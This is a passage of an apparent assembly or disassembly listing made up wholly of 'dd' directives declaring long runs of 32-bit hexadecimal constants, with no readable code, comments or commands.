0B056144Dh, 6A2CCC32h, 0FE8BC70Ch, 76ACE76h, 0E360227Dh dd 0AEB0F537h, 62934F21h, 8A8A1A5h, 6806085Ah, 0CB09B6C0h dd 986C0DBDh, 30F30197h, 6E201DDEh, 0CCC4E8C8h, 0BF668B00h dd 0C4D8F783h, 689D738Dh, 2456E801h, 4A5A1173h, 0F2C81C8Bh dd 0D218A1F3h, 5A3C802Ah, 27512576h, 0EDDA141Dh, 0DEDCD8D7h dd 0DCBA73FAh, 2B7D9F1Eh, 2A477BB5h, 0B08DB151h, 6130B978h dd 9CC03277h, 87266425h, 1AC33879h, 90F2D1BEh, 99770005h dd 3E55BC6Ah, 842FD56Bh, 7459291Ch, 75E4CF96h, 684016DAh dd 301CCC5h, 55B861DFh, 4E024758h, 4C09E33h, 0FC78856Ah dd 81045D73h, 52BF7A4Fh, 4BEF2E51h, 0B9FCC289h, 0E299C29Ch dd 8C1A94AEh, 0B008C0C6h, 450EFB0Dh, 7D644E44h, 7A934FA7h dd 313271B0h, 7DF7FBDDh, 853D6816h, 81FE8F73h, 99B803F6h dd 825FF4EFh, 6474FC16h, 5502940h, 0D6A41BD5h, 366225CBh dd 0B1034695h, 5A3F5F62h, 657D767Eh, 8AF1B8F6h, 7D40CD79h dd 4D744A36h, 0CC84D874h, 479B6BFAh, 0ACF138C2h, 0F031087Ch dd 860C2F76h, 8A1FFAh, 15731207h, 7FF13489h, 1C0A9AFh dd 0A983C0DFh, 993E8962h, 0D28ABF43h, 0F894B76h, 73988EE1h dd 17CB5A82h, 9F2957B2h, 0DACF5AA5h, 4BAB4427h, 0A181876Eh dd 0B81070h, 0D96C7D5h, 0B629322Dh, 1D82CB20h, 0A469DA3Eh dd 7774440h, 0C1DB5628h, 93AC48AAh, 864840FCh, 13D7C733h dd 1059BE0Bh, 97A0A637h, 7E51FA37h, 0ABBED784h, 0CDDA332Eh dd 616CF89h, 11442DC7h, 0D68D627Dh, 0CC5546E1h, 7426DFE6h dd 26D3F643h, 4998B1CCh, 0AC5F3CD7h, 7750AB84h, 0FDADCCA9h dd 0FFD03EAh, 4904C2DFh, 0C838744Fh, 934FDE36h, 9FC96556h dd 1EC3E60Fh, 0FF462A0Dh, 38517BC7h, 0EEB7ECFBh, 6B2E25D2h dd 0E4170AFDh, 7B39BC23h, 90073A9h, 3AC4F9F7h, 0B7CA23ACh dd 539118F3h, 16044DE7h, 10E4B9F7h, 86F80BAAh, 7783257Dh dd 0F9345489h, 0DE8F991Dh dd 43EBA475h, 9A19B864h, 42DEBFC1h, 0D968A193h, 4E8CFD60h dd 93BF33E6h, 375BCED9h, 57F0DE1Fh, 0D4254712h, 6FCF4389h dd 63919AF7h, 97B38228h, 0FF92F983h, 0A64B697Eh, 0DDB0F592h dd 0E7A02983h, 5396D20Bh, 492A5A41h, 8F040288h, 31A3A8C9h dd 0D13EB5CFh, 1A9EDF95h, 26F1320h, 1D71872Fh, 0DD6F86A8h dd 3040290h, 64C515DCh, 41476DC5h, 0E8653141h, 0E27261AFh dd 0A0EBF2EEh, 48A735FAh, 86A208D6h, 67BE4AAEh, 2E50E14Dh dd 0F06B41DCh, 34BAF83Bh, 0E62CE1DAh, 65D82780h, 0C9CBDD22h dd 85BDDBF8h, 12478873h, 0B72A416Eh, 7BA58E69h, 0C247CDF4h dd 0AE3B863Eh, 0CC257B87h, 0E1AD2DB0h, 43B40DFEh, 0EB5C3F93h dd 0C0A5D7BEh, 5ABA7F2Ch, 3DBE76CEh, 0EE13BB88h, 0D2968C02h dd 5DDE771Eh, 8D4DA339h, 2190ACFFh, 89C00B6Ch, 0D0737AFCh dd 0B9A9764Dh, 0F134D4DAh, 0CACC0033h, 0EE2AF19Fh, 9F3C9195h dd 0AB82F9C7h, 0A5D9745Fh, 5CE61FD4h, 3B65C659h, 8B2FC747h dd 0CA485B23h, 0ED1DDB60h, 5045F611h, 51E362E6h, 0C2707FC2h dd 0CA9FCDCCh, 4A060507h, 991F4C8Ah, 0A09D57F8h, 1DADE02Eh dd 0D49DD6ADh, 128B6225h, 0D0246773h, 8E795B13h, 0B541A45Ch dd 95B3604Eh, 0D0A970C5h, 0A7C2CE27h, 0C0787D3Eh, 0F0BC093h dd 3A820F3Ah, 0CC67DA0Bh, 3F4CFBBFh, 8F76B552h, 6055B011h dd 434531CAh, 0D64DE482h, 0C9D1F276h, 0C32EF0C1h, 44B5B298h dd 0A4187F8Ah, 0A9E001FAh, 3D63E653h, 0E17DA662h, 5453D744h dd 2F8D4405h, 907BC7CDh, 769DBCACh, 30C92035h, 44896365h dd 58ED52DBh, 158E1DD8h, 4F2868B8h, 45261A0Ah, 5E3BBD33h dd 0B8594E71h, 0C726B940h, 7811819Eh, 0D936063Ch, 2DCCBAD2h dd 18439DFh, 606F6097h, 16F89938h, 1AEB9B6Ah, 0DA8C78EAh dd 0AEFDC9F5h, 191AABF3h, 372A6F63h, 7DC036Ch, 0CCCE14Ah dd 833C8F90h, 0E6E260A1h, 4315A954h, 907852D1h, 7374F5D6h dd 70E89C2Eh, 2B00E5A5h, 757A16E7h, 4FA29CA5h, 41E92EB1h dd 0BBBD3D65h, 0FF118D53h, 0DD142565h, 65C841A0h, 7C1B334Bh dd 0F3DF998Ah, 0EED03476h, 861C1F0Eh, 0F4CB4E21h, 3196625Eh dd 5DBACE8Fh, 0A16BE265h, 4B287FC6h, 0F64F7BAFh, 1A2E1928h dd 0A283077Bh, 0E511908Fh, 704E0658h, 0FBCB68D9h, 8633ECCCh dd 9179FA20h, 81F56198h, 0DE59014Ah, 0DE704B6Fh, 22020A10h dd 0CA3C1188h, 6B9D4422h, 932E9B36h, 12DA7610h, 0BD1AE789h dd 5EA0E0F3h, 0AC8544C3h, 527E2F07h, 80B2294Bh, 64126ADAh dd 8AC814EFh, 0C188F76Fh, 0B45F57F9h, 54E01768h, 4928C7Dh dd 363E80DAh, 0B80C2A3Ch, 1A3CDF98h, 0DDF48D00h, 980466E8h dd 0DEDFD5A8h, 9F8A81EAh, 775513F3h, 969105FBh, 23B57CB8h dd 131026D5h, 0A60977A2h, 0D8584AB7h, 21BD4BF0h, 23D54FC8h dd 93C67D9Eh, 3FFF731Ah, 39F29B6Dh, 0C0FD2BCAh, 231CA792h dd 4F93CD7h, 88FB57E2h, 66DA4D6Eh, 17F0B71Fh, 3BDC6E1Eh dd 2AFF8441h, 874D5962h, 9196D7BFh, 4FB2D0A3h, 5191F074h dd 57D2FCCCh, 9958C2D4h, 2020EB9Ah, 4799DF6Eh, 0B2EE9346h dd 58D66EFAh, 0EF7B5A78h, 37B6EF1Dh, 0D2568AC1h, 9CA434BFh dd 94C7C699h, 92F91EDCh, 0B9B0841Ah, 1AF683h, 0C3F1F27Eh dd 956379D9h, 65D2F1BAh, 0FF9CC10Eh, 90C8008Dh, 3B89E4DEh dd 8A596455h, 4B964290h, 0AD9992CBh, 723178D9h, 0E9E2220Ah dd 0C5E81EB4h, 1C5C218Eh, 94E80946h, 5425102Fh, 0AAB68FD0h dd 0DB275D34h, 45F1C46Bh, 7FA2B723h, 0E0C77B66h, 2DA43279h dd 21D748Ah, 34CC491Bh, 5933ECE3h, 0D409A173h, 51978196h dd 3849F221h, 0B3845FE6h, 0ACC44CA2h, 0A6F432CAh, 726696D3h dd 27C34287h, 7C047E80h, 0D23B5B3Fh, 453A59A6h, 322E1823h dd 23380145h, 0E3B0AD46h, 43ACE6B1h, 0BC5A9F4Bh, 4BA4A985h dd 73926D8Bh, 49CA222Ch, 701587Ch, 4DC3DA62h, 0A24774B3h dd 1626F7E6h, 0C6F646EBh, 65CAB9D9h, 0A92A0AEDh, 0B6872524h dd 280D682Bh, 0EA89DC4Fh, 8B50FDCDh, 0BAA8FAD5h, 0BEB98F7h dd 83951D6Ch, 0B352BD99h, 0C735F6CDh, 606201F1h, 8AB15A49h dd 58024738h, 8946EF77h, 16FB641Fh, 7D412DFCh, 0DFB22412h dd 55DFB1B8h, 31F8AEC6h, 7E9E7E40h, 8C851C42h, 0B1F94BB6h dd 0CE51D83Ah, 707B0456h, 0F8AAE60Ah, 78FD0D3Dh, 0C7987E9Fh dd 29D4B4E6h, 7F36DB8Bh, 0DD3D6F24h, 4E9F1230h, 5D079BFEh dd 77855AECh, 0D7399695h, 25D684D4h, 0D4AE7412h, 2F410F95h dd 5A5F3193h, 0D6A47D1h, 80E59C3Eh, 62B0FD41h, 0B1514995h dd 0DC29C72Ch, 6F6CC541h, 0E19640BAh, 18CE72BAh, 4E866B98h dd 80E56F76h, 0D3CDDBAEh, 497D44B8h, 680172F4h, 0B8D71178h dd 0FF7342E5h, 0E1669862h, 68BAC1CDh, 980EC99Ch, 0F1E0E116h dd 3CE8B8D6h, 9F7A1366h, 82A6318Dh, 489A4C5Ah, 6FA3EDBFh dd 12A7761Ah, 19C33324h, 68162C5Bh, 52DC971Ch, 0DC823305h dd 0F6DFF167h, 0C15358FEh, 6E2F0DEBh, 3935DE58h, 0C33C1F36h dd 8DC51191h, 0A1FF3C3Fh, 0F1A84191h, 0A5CB293Dh, 7EBCFE8h dd 0DBBE21ACh, 0B1CC84AFh, 0E14345A2h, 1556F75Ah, 49606336h dd 953C1B1Ah, 33234B7Ch, 4382CA00h, 5796AEA9h, 13FE486h dd 53D9342Ch, 879CD196h, 995100E7h, 0D8A53518h, 0D9C9C84Bh dd 9F90574Eh, 0B9AE2033h, 0C497D937h, 2573EE02h, 5AC75E23h dd 0D9E32B49h, 0B9499D91h, 0C717C897h, 0E86D5506h, 823D2EEBh dd 0F9E8F77Bh, 0C868BAF5h, 2055547Dh, 0F87B8C4Ah, 0E9BD49A8h dd 0E8CDB83Dh, 0DE9760BCh, 0C5CC3063h, 1C7D1CDh, 0F565D567h dd 0B85FCFA2h, 3B2D7671h, 597351A0h, 66359AF0h, 945CA2EBh dd 3AF76A24h, 0EDC9F9C6h, 40F8DE4Eh, 8A88B390h, 0AF63784h dd 0DA2F656Ch, 2888A834h, 3511CCB2h, 3C828C22h, 70A3CD15h dd 72F8334Ch, 0FDB78D54h, 0FF60270Fh, 711BFCCh, 0EDC5901Dh dd 9653C522h, 0D54A6A3Ch, 96957C53h, 806ED7C2h, 932BC345h dd 0A664171Ch, 0BC2DCA69h, 608D329Eh, 907C85D8h, 0C79341E4h dd 0BF7F0BEh, 3AB53184h, 8E9591BFh, 913DDBA7h, 0CF8FD777h dd 218B2D7Ch, 0EEA86C0Fh, 8D54FDAh, 0C9F0CD24h, 91B460DBh dd 0D4FE6E0Ah, 0D0A2E29Ch, 96B1141Ch, 584EA58h, 5C902DD7h dd 1B54682Fh, 3BEE4F2Fh, 5A4EE1F5h, 0A3BB2E02h, 3343D680h dd 1365C008h, 0F70E9E75h, 904980D7h, 0AE4CFFBCh, 42724B52h dd 510369BEh, 8FE4F8ADh, 92460CF4h, 6EB3594Dh, 0C1BF787Ch dd 0D0B375AEh, 0A4C64430h, 0A39BB121h, 3C56AE81h, 0E1BC63D1h dd 92428B90h, 0A1F4213Fh, 0AE7957FFh, 7D739C47h, 0EA1D4CCFh dd 83FA093Bh, 59FC0D82h, 0DF7A5BB2h, 0B45F36F0h, 0F93724B2h dd 0DAF2EA7Dh, 0FCAC8FAFh, 665CC785h, 793B24DCh, 3258C0F0h dd 830566B8h, 0A73A773Fh, 0E2E5BCBFh, 0EFA4C487h, 4C5AB90Eh dd 9E225CCBh, 0CED6E264h, 0C78084F7h, 890E4C02h, 0E9430C5Fh dd 457F8B48h, 0B3CCD448h, 8FDE0014h, 78BFDAF6h, 0F6672F56h dd 0A199FB21h, 4DDCC138h, 17703ED9h, 0F9450DADh, 0AB071661h dd 30896FC6h, 0B0CF90E7h, 55CEDF51h, 6E6E80D3h, 67F61104h dd 2B610A5Eh, 3C26E6DAh, 0B819BB85h, 80F5F0C5h, 5421F322h dd 0BC5459Bh, 9DD7C824h, 2586D51Ch, 3F5E80C4h, 3859228Bh dd 7842679Ah, 978DAD11h, 452AC214h, 7FACAA59h, 0B36B7BADh dd 0C86912Fh, 51F9E29Dh, 36561C46h, 0A3911AC0h, 3C1C5FFh dd 21A0555Bh, 623E5803h dd 7515C88Ah, 8ED6A1DFh, 6EFE9B1Ah, 312C06C2h, 4EE9AFEEh dd 0C08067Dh, 0E3A9D044h, 5DA2A0E6h, 0D571EE95h, 0D2939BA2h dd 0CEA95840h, 0FC897D17h, 0B1D5B840h, 0D6109665h, 0BAB882FAh dd 7ECF78E1h, 0E47AEDE8h, 3F7473E0h, 0E3A76C46h, 4B349775h dd 6A3393CEh, 3BCB52Eh, 0A48AB74Bh, 0E77A83E3h, 53BBFD8Fh dd 92B1033Eh, 19EC41F8h, 780C081Bh, 0D3F26BD3h, 0BA54939Bh dd 0F1544EDBh, 136C29D1h, 6282DD22h, 6478D27h, 240E934Ah dd 9E0FB980h, 0C6CA5FC3h, 5FA07E4Bh, 0E8E04426h, 0DBE14AADh dd 0A0CDA06Bh, 16172CB1h, 0B375EAFBh, 0B8115491h, 0DC6040DDh dd 894B56B1h, 764DF2BFh, 0C09346D9h, 55D93C1Eh, 0A84BF1F6h dd 0FE9C32ABh, 0A7233010h, 0C4D4CCDDh, 0B3B10AF0h, 10231F03h dd 9C96A52Bh, 0F2FC75Fh, 8B71E040h, 1CA09223h, 0F9BC2024h dd 0B1FA8824h, 0A4B8DDEDh, 0BBA62DE4h, 0E82546BEh, 47275711h dd 19E93BA9h, 0F8AAB067h, 0D6C5DA55h, 0E2349525h, 0A7974007h dd 0BC6FFB02h, 6EC36CA2h, 60BB0F9Dh, 3A0C006Dh, 6D078FBEh dd 0B68F793Ah, 81649135h, 2314BA59h, 3FCF4AB5h, 0E9F41DDh dd 1D1C3637h, 0F726AB68h, 0B2E22C19h, 66159F83h, 6020E614h dd 3963BD8Bh, 0FB647D09h, 974CB2C5h, 4608951Dh, 30A6C4B0h dd 0FD7D5CD7h, 2D987D90h, 813E4FAFh, 5E0F6B7Dh, 882AF056h dd 6496FCDFh, 91D3C6E8h, 0E982E23Fh, 5DCD51F5h, 0F1B6022Eh dd 93B56509h, 9406A809h, 44F3ECF1h, 0D14D893Dh, 2915947Ch dd 64BC6E8Fh, 81EC8320h, 0F646FCCCh, 0AE33B14Ch, 0E5036E8Ch dd 0B3926002h, 88733A03h, 0DFA54122h, 0EC5BD653h, 0B06EE96Bh dd 3B95C5C7h, 0E2199551h, 35F28FEDh, 35A039DBh, 0E270D54Ch dd 0E469CFh, 911F1D33h, 0B5E549DBh, 2030E71Fh, 5CAAB625h dd 0CB6B430Dh, 659A2C10h, 0AE194369h, 0AA777795h, 6629106Eh dd 0B5D2DBBBh, 66F613D0h, 0F9EC1F06h, 9CD8ED60h, 0F8D62885h dd 91AA5798h, 2C4CE938h, 22D59E28h, 28E44EB1h, 7E7FFF66h dd 6D71B18Fh, 0C4E63D65h, 0BFD986CAh, 0F911E3BEh, 5D91C366h dd 0AD575FA2h, 0E1D89E80h, 762D0113h, 78748F57h, 40F4DF11h dd 6FC2C969h, 105BC443h, 525DF968h, 0FD19E910h, 6FC67F8Eh dd 4A9067C6h, 0B6B413D6h, 98AA8C05h, 93EB4FFAh, 0A255F73h dd 54FB8783h, 15CB546Dh, 8A590D9Dh, 449A4AF2h, 1D167A64h dd 0F4A583F5h, 831AECF0h, 0E9E9DFC7h, 68C6C926h, 4078B7CDh dd 0D080EC37h, 0A2F87095h, 59AB97C6h, 46DB7062h, 174BB78h dd 35539464h, 161C0A48h, 536B096h, 7C01A868h, 0F97C3719h dd 9CBB6906h, 0B0D6853Ch, 50C25B44h, 42768DD1h, 955C8E58h dd 0D9FEC074h, 0D6BA2991h, 0ABAAB286h, 97621926h, 6FBD72BCh dd 0BA3D6566h, 6DCFCFDAh, 0D872DC1Dh, 0CEFB265Eh, 9C739631h dd 38DE2271h, 42164446h, 7E112C45h, 210A68C8h, 0D6CD98A2h dd 0B0F8CB45h, 0FD5A1BADh, 0EB05E8E4h, 6A576C24h, 0FD98F99Dh dd 0AAD9EC11h, 4EC67D41h, 91CB25E0h, 0D0A342B5h, 0B2E6531Dh dd 0EF0C1B9h, 0B2114D1Eh, 0E6F2A6E9h, 5AAEDAE0h, 6FD13B89h dd 0B093CEE4h, 0DC56404Bh, 0BCF54F89h, 98F8F259h, 1216A993h dd 0DE6A5FA8h, 4BF3B457h, 0A2030128h, 0A087C651h, 531CDD17h dd 0BB12A19Bh, 2E9B3A6Dh, 0A45661A5h, 0AF1F3C38h, 9B13386Ch dd 0F180FB62h, 0ACCB8FB7h, 0BB68E96Bh, 0FC87C4E2h, 35DBC924h dd 54BB4BC7h, 0B618CE98h, 8582BFCDh, 24AD8121h, 0C09DC2DDh dd 0C9BFE6C5h, 8A23692Ah, 0D96462F1h, 78DB701Bh, 0C491F689h dd 4851D96h, 53B11735h, 0EEB74F07h, 76FDAA86h, 0A509648Fh dd 0ACE83102h, 0C534DC9Ah, 5AE98F16h, 0A1D8AD46h, 8977286h dd 940013CEh, 0A4F374A2h, 0D1A2070Dh, 69D179EFh, 68836B4Ch dd 0BB42AEF3h, 570EE037h, 14BB4Dh, 0C79D6B9Fh, 0C2C74Dh dd 90B87CB0h, 5704E697h, 99711B1Ah, 652AB233h, 0D8A9F82Ah dd 0E366F518h, 0A414FEF0h, 2B8DE01Bh, 0AA2F7DF0h, 5F7D3E96h dd 22D50AEFh, 64DDF5B1h, 0D6BFC53Ah, 75F58A5Bh, 0FFB2C522h dd 4AEF6E45h, 0E4FE832Fh, 0C9AD4621h, 4824738h, 0D24313B3h dd 6FD8D438h, 0F0AA3A8Ch, 0D8AC707Fh, 16009553h, 2B8D07C4h dd 15185B88h, 0C1A2CABCh, 0B2689880h, 0E19D2230h, 0FDD30193h dd 0C5F5EB1Ah, 8F2CC1F5h, 2BF5C3ADh, 891C34CAh, 5BF486C9h dd 4EC531D2h, 7E9E8B38h, 402D13D3h, 33546921h, 37922521h dd 98E6FD5Ah, 0ADF16FFh, 79941CDFh, 7F65EBAAh, 92DB6726h dd 84792096h, 6F20C3D5h, 8FC41092h, 0B7D8B2C6h, 4720A4EAh dd 9736440Ch, 93ED5262h, 384DD3ADh, 7F4FC239h, 0BAB2F0D5h dd 0ABC980B5h, 49B88DA2h, 0FA2209F0h, 99AA6AB2h, 0B8A735B5h dd 7C9936B0h, 7FEB5B04h, 7E25F04h, 0C22D26Bh, 0EA16A4F0h dd 15D53B84h, 0C5840243h, 0BF24AE3Dh, 3EE0B562h, 656F7E54h dd 21FBDF89h, 0B993BB1Ah, 8E9A7CEh, 3C33096Ch, 593288AFh dd 0F2BB39FBh, 0D497D5C2h, 2282657Ah, 582BAF7Dh, 0BB4BEA4Eh dd 506833DCh, 0BA3C2851h, 0CA1151ECh, 39991492h, 38F80EFFh dd 0ABE954FFh, 4DCE82FAh, 0CD967EBBh, 70890C1Bh, 0BF2328E4h dd 0FCC3F00Fh, 0CDBFC7A1h, 0C944EDAh, 89DB1103h, 60D96C94h dd 0C0584185h, 62468BBBh, 571F6CE8h, 0BE4D88BBh, 0BE524482h dd 0DD274659h, 0D98C868Dh, 6282BB8Ch, 0FF33F41Bh, 0A89A0B81h dd 595B6981h, 0EA9C7DD7h, 0FAB51E5Eh, 7918A02Ah, 5884A4C6h dd 89C470C1h, 0C2CB3A89h, 98C7CD04h, 76E315E8h, 6C737498h dd 5B0FDF86h, 4D0E3E2Ah, 7DB8A00Eh, 0E7AF6D05h, 6604925Fh dd 0DC4885CBh, 0A030A241h, 20F996BDh, 0CB6322A3h, 35FEB3F2h dd 328CF3C0h, 62531241h, 61D4B8D5h, 90975450h, 325AD9DEh dd 516E7BBCh, 83E00F5Ch, 32198BBFh, 0DE99F12Ch, 0F41FBE02h dd 88B3BFFFh, 6BEF00Eh, 14ECBF4Bh, 0F3559490h, 0B45F2191h dd 9271F9BBh, 0CFD8D1E2h, 0D01B3B69h, 76456BF8h, 5D410F75h dd 8771CDECh, 0FF6D55Ah, 470BF0D3h, 0D0FAA02Fh, 0F1120502h dd 36247394h, 0ABDFF841h, 870A0982h, 2264988Ah, 0A4569276h dd 60E40939h, 0D7F62EA2h, 5FB13E06h, 6F41C02Eh, 97FA2E2Eh dd 0EEF6D97Ah, 0C74BC90h, 0C6200597h, 0A36E8699h, 2BD705D9h dd 1F36FE59h, 86275129h, 901BB05Fh, 3F893355h, 0A4B26E28h dd 1C96CFA4h, 74B013B6h, 99CF3158h, 0E0AB996Bh, 0D6BC6156h dd 0EB1F1A32h, 3014875Eh, 3CEDDD0Ah, 0DF9DBD33h, 81E5E9ADh dd 96782652h, 6FE118EEh, 0F6F967FEh, 482E76D0h, 0DCBB7DADh dd 0CA8BBB90h, 0A7C905CDh, 0EBE65944h, 39F452E4h, 0A0AE4F46h dd 0D697950Bh, 470060E2h, 8FCADCE7h, 0C448CC76h, 0BC7D28FFh dd 0C66A7DF2h, 72A471B1h, 862D53D3h, 2306D806h, 4772B266h dd 600F247Fh, 0E8F876AFh, 5B21B943h, 0F807203Ch, 4C9C3155h dd 0A0A1D006h, 7865B2F8h, 2FA49720h, 8C39C69Eh, 28571B2Ch dd 0A47382Dh, 491F5F60h, 9ECB1922h, 15B28BC9h, 0F8BC12A7h dd 0EB6CD426h, 0DCEDF838h, 0E0F6AF42h, 4CB7AF66h, 33B32C6Dh dd 9BFCAD10h, 0FD520D1Dh, 0D7AAAFD7h, 44EFA9F6h, 0CA2E350Fh dd 2BD0228Bh, 6ECD7397h, 9EC91CE8h, 0FDD0E33Ah, 0CDB52D0h dd 3EE4375Fh, 54B0A4B1h, 0AA7D4B9Ch, 1FB3C836h, 5C5D6843h dd 0C1052AE2h, 385B1B31h, 0E3EA78Dh, 77045A2Eh, 267B033Fh dd 0B51D52D5h, 0DA548F9Dh, 0E6FF1837h, 0FCDD4F0Eh, 0D8E87A2Bh dd 41309421h, 0DCE0AEF3h dd 0E936F2E9h, 2AA54DB3h, 0E5A6F5FBh, 9F78E629h, 3F21EADCh dd 0A19A5154h, 0EA80073h, 0F93941DBh, 7D1E5373h, 930984FCh dd 0EDE976ACh, 28775A34h, 2C426223h, 0B09BFC5Dh, 4C3DCE86h dd 65165D45h, 5D6C63C5h, 0F49CF31Dh, 0AFB23E86h, 0BA863BA3h dd 6DF6481h, 292DDD90h, 0D2ED038Bh, 95DF8C35h, 0DD188CE1h dd 0B6C2DFDEh, 0A2BF0051h, 1B5CD7D4h, 36DE289Ch, 45E2203Dh dd 4D9DE679h, 0DC87FF33h, 4ACE1B14h, 0C9AB3BC0h, 1ED3FDBDh dd 0ADD25B84h, 0DCA1C6EAh, 6A16B454h, 62371FFFh, 9BE1A093h dd 9CBE418h, 39CA2879h, 0ED54C181h, 0E8AB53A1h, 0A58BC883h dd 5B87A9ACh, 0A1883040h, 0BBD3DABBh, 2041B05Eh, 0BC4D581Ah dd 0B6C919EEh, 9EFDE0D1h, 9DAEFCB5h, 0B81F3476h, 0F2FFC498h dd 0DDB8FAEEh, 9425C484h, 0DEACAB46h, 81621EF3h, 949BC908h dd 0DFC92C6Ch, 6D5B153Fh, 65A57F24h, 17C5655h, 0B5961D4h dd 7B803EC5h, 6DF95F06h, 0FB5CF669h, 0EB7FE5B1h, 6A1C0C69h dd 5FD0E47Fh, 4D262AF4h, 6CC18581h, 0E44C4076h, 0C83969B2h dd 9C26627Eh, 0EC439F84h, 2EFB0EA0h, 0F183DC3Fh, 0FA482EDCh dd 13AEEB81h, 9A588357h, 0F5C9AEFAh, 3A943CE3h, 4BB66555h dd 8E8CE3Bh, 1C7BD44Bh, 0FF9E4ABBh, 61B5F9ACh, 0BB306826h dd 0E6E114B6h, 863F6347h, 6BB00CA6h, 65BB1BE5h, 0E7C46966h dd 1CFA54BAh, 0CBACBF6Dh, 726661A8h, 0D3C78DC5h, 0E7D5C0A3h dd 794BD309h, 9D6EBB31h, 94B6EF80h, 0BCF89FA9h, 22923263h dd 0A5BD9D06h, 2B21C115h, 8009F670h, 7BC121Bh, 7C446D59h dd 87CC3BECh, 0E66AAC03h, 72DE4ED2h, 365DB244h, 305331B8h dd 18755984h, 204478CAh, 0CC397CBDh, 30F84928h, 153C4691h dd 0E172879Eh, 4F95E424h, 21FE50E8h, 0B6A494F5h, 0BB79FD6Fh dd 54B2D6F1h, 47C7B072h, 295DDF0Fh, 76A150ABh, 1088C150h dd 0DD57E924h, 0FFC40AB1h, 5E8EB2C4h, 4751B77Ah, 7FF65571h dd 9F7393F9h, 0EFC32B81h, 8F34F23Ch, 97E37FE5h, 5951D1Dh dd 8ABCC0EBh, 0D5D78D1Ah, 0A7487C06h, 19C8A3E9h, 99560DF7h dd 0CA1DCBAAh, 34DD28F9h, 0E9675B5Bh, 53C6E793h, 0CED5519Eh dd 0ECD5428Eh, 89BA7DC8h, 43DA48F7h, 1A7872EBh, 0AB24FDBEh dd 84A19283h, 908A320Fh, 933187F1h, 4B1B20D4h, 3CBBF5A8h dd 0EEB0533Bh, 15B0F3B3h, 0D018E4FFh, 0FA5B5860h, 0B91769C7h dd 0BD806FDEh, 50C6D6E7h, 621D630h, 2623EA34h, 40C09CF7h dd 0D0FD9333h, 0A304DF39h, 3157C40Dh, 58C16263h, 5F376B2h dd 0CDDD6DC6h, 573BD39Bh, 0BAE36232h, 0DEFE26DDh, 1B5C9863h dd 0E8B739A1h, 46F8F8DCh, 0A8E429B6h, 0B8CFF9F4h, 0D14F6E84h dd 3C883F0Ah, 0FB1B3DACh, 948E458Fh, 60A67CA4h, 0C8AD58EDh dd 21B60633h, 7846AFBEh, 2CF11472h, 4538AFF6h, 0A2585E5Ah dd 3FD594E4h, 1955EDD7h, 9E582A2h, 0B88C5E9Dh, 0FA73932Fh dd 55EF0E67h, 0A052E262h, 38900AD5h, 0A6EF619Ah, 6AC8A8B3h dd 0C11CD72Ch, 0BACAC9BBh, 1040C377h, 29E50D09h, 7B5A8E54h dd 0B1784F72h, 0E88B9E21h, 8CE977Bh, 8851EDFFh, 36804507h dd 353511B5h, 285A216Eh, 4227B641h, 343F8236h, 0AE8AB7Eh dd 87C2C64Ch, 2BFF7A77h, 586C9822h, 0B875986Fh, 0B3D4AAC8h dd 959040ACh, 2D728BB3h, 741CD980h, 327A0A76h, 9F131933h dd 7099AB2Fh, 4E072BF5h, 0C3D19FD4h, 5FA45F51h, 0B3BF005Dh dd 0B1D42D21h, 0E699D2B6h, 301ABD40h, 859F1E01h, 41F99DD2h dd 67FF35Fh, 0A79813A6h, 0E3DFF876h, 0D76128E4h, 6CDDF02Ah dd 0F53898DCh, 5C373723h, 723D4D69h, 2E658894h, 831DFFD4h dd 0A46665FEh, 3FA73E95h, 121A087h, 6DAD87C4h, 8AD78B0h dd 0FEE9F2A9h, 0D57158A0h, 98BBD768h, 8AF0245Ch, 0A7AE77F3h dd 0CE3682DDh, 63ECEF69h, 0E3EE9h, 41FB053Eh, 0F7D7F491h dd 9B0B566h, 0D15AF842h, 0E8D33D49h, 8673E29h, 9367AE74h dd 9A1DF7B1h, 8DF2CA48h, 5C69FE79h, 87576FACh, 1181DEC3h dd 595B7395h, 11932471h, 659E27F5h, 0E8CB952Ah, 1CC25027h dd 983BCB5Bh, 0E9AC4CADh, 8BE4C3D2h, 0B62479Eh, 0D59DB578h dd 0B7715C14h, 0B473EC63h, 20270B2Bh, 8F0379C7h, 4C833390h dd 0C3593110h, 0A73014E3h, 0DAD4FE15h, 0ACBEDE5Fh, 1900D3EBh dd 571D0025h, 0A6D46B5Bh, 13592867h, 7A3C774h, 6119919Fh dd 27E6E184h, 28DE9309h, 1DC69EDEh, 0C304F32Fh, 0AC77C82Dh dd 1026E861h, 25C5D4D9h, 0DC4A9F70h, 961E993Bh, 0B88211EFh dd 17738B00h, 80F7FC85h, 0A3512DE8h, 8FBB4288h, 3D54B63Fh dd 0A391D37Bh, 6B84E172h, 3146BB92h, 23420D5h, 0E67D6B41h dd 47F8B931h, 0B5C30999h, 0B4BE0435h, 29BF621Bh, 2C74B38Bh dd 99FB9299h, 0FCDF9E47h, 0E35E5A9Dh, 82B0BC57h, 0B4DB64A0h dd 99CCC6ECh, 0E5A576D6h, 6773B4A6h, 0A3307BDEh, 0F02846Dh dd 0C993A92Bh, 8898BF43h, 0CF089A7h, 0C7EEEDD1h, 4C816474h dd 0B91738C9h, 1FC2A0FEh, 60265C6Bh, 0E8629C1Ah, 727BB4EDh dd 0D5D8420Ch, 3B9D930Bh, 0CFE2714Bh, 4707BFABh, 0DB685F5Ch dd 0FFB04E46h, 0A674DF4Dh, 0CA8B2936h, 1AE22C4Eh, 93FE71E1h dd 0B1759F77h, 0AE96A3A7h, 9E6E48D7h, 5C363A51h, 4528D22Ah dd 7AC193A2h, 836C1473h, 0F65E29EEh, 0F04F1B2Bh, 0F2603B94h dd 0A2EEA087h, 0E9DC6B34h, 303798C9h, 3D775EEDh, 0E044B160h dd 0DECBC3A1h, 65DA1DCFh, 0C3599362h, 0A2244D7Ch, 70785969h dd 29A60779h, 85A8CC0Bh, 205DBC70h, 0A615B0C1h, 0E9E94638h dd 350F4551h, 85C7AC88h, 42457F94h, 714C300Dh, 0C709A40Ch dd 74E4BBF7h, 0AAE97EE0h, 4E70B1E0h, 37884421h, 0BC368627h dd 0FB62C8D0h, 7C11734Ah, 2906F194h, 4BBBC4EAh, 70F230F4h dd 0C7C26EBCh, 0F95B4FF0h, 0CF842F4Bh, 98480A5Ah, 0C51C8151h dd 0FD22172Dh, 9D85E97Dh, 0BC11964Ch, 758E50AAh, 21F40E65h dd 6D498AF8h, 0FA9B0CFFh, 0D3ADC110h, 0FA0B8467h, 71112989h dd 5B26A178h, 954B5A11h, 0D89F50Ch, 45291101h, 9CCC4BEh dd 66A503A5h, 95B3BFFAh, 0D813FB22h, 56EFBCDCh, 1D6E75C0h dd 608C0BCAh, 